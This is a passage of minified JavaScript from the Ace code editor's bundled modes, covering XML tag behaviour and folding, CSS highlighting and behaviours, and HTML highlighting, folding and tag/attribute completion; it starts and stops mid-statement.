c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/xml_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/xml\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./xml_highlight_rules\").XmlHighlightRules,u=e(\"./behaviour/xml\").XmlBehaviour,a=e(\"./folding/xml\").FoldMode,f=e(\"../worker/worker_client\").WorkerClient,l=function(){this.HighlightRules=o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(l,s),function(){this.voidElements=i.arrayToMap([]),this.blockComment={start:\"<!--\",end:\"-->\"},this.createWorker=function(e){var t=new f([\"ace\"],\"ace/mode/xml_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/xml\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return 